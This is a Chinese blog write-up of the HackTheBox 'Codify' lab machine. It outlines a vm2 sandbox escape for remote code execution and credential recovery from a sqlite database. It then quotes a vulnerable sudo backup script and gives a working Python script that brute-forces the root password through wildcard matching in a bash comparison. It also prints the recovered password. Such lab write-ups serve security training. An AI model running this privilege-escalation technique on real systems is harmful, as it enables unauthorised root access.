首页 > 其他分享 >HackTheBox - Codify [easy]

HackTheBox - Codify [easy]

时间:2024-02-17 11:44:05浏览次数:25  
标签:bin subprocess Codify echo HackTheBox usr easy PASS password

打这台靶机时及其古怪。总是莫名其妙断开连接,请求没有响应。提交时表示flag错误等问题

访问80端口的web服务,发现使用nodjs和vm2库。搜索到vm2漏洞:Sandbox Bypass in vm2 | CVE-2023-32314 | Snyk 可远程执行代码

查看当前用户,可登录

使用ssh登录,使用 linpeas.sh 等工具枚举,发现 /var/www/contact 目录下存在 sqlite 数据库,获得用户密码

登录另一个通过 sudo -l 发现 shell 脚本

#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then   # <----------------- 此处存在漏洞
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

[[]] 内部的 == 使用了弱匹配,能够匹配* ? 等通配符。所以能够枚举密码

【渗透测试】Codify - HackTheBox,Node.js沙盒_hack the box codify-CSDN博客

import string  
import subprocess  
all = list(string.ascii_letters + string.digits)  
password = ""  
found = False  
  
while not found:  
    for character in all:  
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"  
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout  
  
        if "Password confirmed!" in output:  
            password += character  
            print(password)  
            break  
    else:  
        found = True

# password = kljh12k3jhaskjh12kjh3

标签:bin,subprocess,Codify,echo,HackTheBox,usr,easy,PASS,password
From: https://www.cnblogs.com/zhh567/p/18017834

相关文章

  • HackTheBox - Drive
    #nmap--top-ports=100010.10.11.235StartingNmap7.94SVN(https://nmap.org)at2024-02-1511:10CSTNmapscanreportfordrive.htb(10.10.11.235)Hostisup(0.12slatency).Notshown:997closedtcpports(reset)PORTSTATESERVICE22/tcpop......
  • [NISACTF 2022]easyssrf
    先按照最简单的试试 那就试试/fl4g,需要使用file伪协议进行文件读取,然后得到新的提示 进入新的目录 直接构造路劲进行flag的读取 也可以利用别的伪协议url?file=php://filter/read=convert.base64-encode/resource=/flag  ......
  • 小白也行的:Easy OCR做一款免费的图片转文字
    \text{EasyOCR}支持超过$80$种语言的识别,包括英语、中文(简繁)、阿拉伯文、日文等,并且该库在不断更新中,未来会支持更多的语言。像市面上所有的图片识别都用的是$\text{OCR}$,如微信,百度。个人推荐软件:微信,网站https://web.baimiaoapp.com,该网站识别准确率是真的高,且收费也很人性......
  • C1. Good Subarrays (Easy Version)
    找子数组的个数双指针#include<bits/stdc++.h>#defineintlonglongusingnamespacestd;constintN=2e5+10;inta[N];voidsolve(){ intn; cin>>n; for(inti=1;i<=n;i++)cin>>a[i]; intl=1,r=1; intans=0; while(l<=r){ if(l>n||r>......
  • springboot集成easypoi导出多sheet页
    pom文件<dependency> <groupId>cn.afterturn</groupId> <artifactId>easypoi-base</artifactId> <version>4.1.0</version></dependency>导出模板:编辑后端代码示例:/***导出加油卡进便利店大额审批列表*@throwsIOException......
  • 关于easyExcel解析未添加@ExcelProperty报错问题分析
    在一次做辅料商品导出列表的需求,并且上线之后发现,怎么商品列表的导出没有反应,一看日志,发现报错了:这里新加了两个字段用于做转换使用。因为之前很少用easyExcel,所以以为只要不加@ExcelProperty,easyExcel就不会去解析字段,没想到easyExcel还是去做了解析。源码分析通过上面的......
  • EasyExcel读取resources下多个excel文件的解决办法
    最近新的业务是需要读取resources下的excel文件并入库,没有做过类似的所以踩了很多坑话不多说开始:使用ResourcePatternResolver解析该目录下的多个excel文件  读取之后直接使用EasyExcel读取文集文件并且转换为实体对象,这里只需要注意些一个ExcelListener()监听器,具体怎么写这......
  • [SWPUCTF 2021 新生赛]easy_sql
    手工sql注入流程首先,检查字段数url?wllm=1'orderby3--+尝试到4的时候报错,故字段数为3爆库名url?wllm=1'unionselect1,extractvalue(1,concat('~',(selectdatabase()))),3--+爆表名url/?wllm=1'unionselect1,extractvalue(1,concat('~',(selectgro......
  • [SWPUCTF 2021 新生赛]easy_md5--php弱类型比较
    <?phphighlight_file(__FILE__);include'flag2.php';if(isset($_GET['name'])&&isset($_POST['password'])){$name=$_GET['name'];$password=$_POST['password'];if($name!=......
  • EasyCVR智能视频监控平台云台降低延迟小tips
    关于EasyCVR的使用tips很多,今天小编就分享一下在使用EasyCVR云台控制时出现延迟的解决方法。很多用户在将设备通过国标协议或者sdk以及onvif的方法接入到EasyCVR后,使用云台控制的时会出现转动的延迟。其实这个延迟和当前选择的播放协议是有关联。由于默认的是选择flv的播放格式,一般......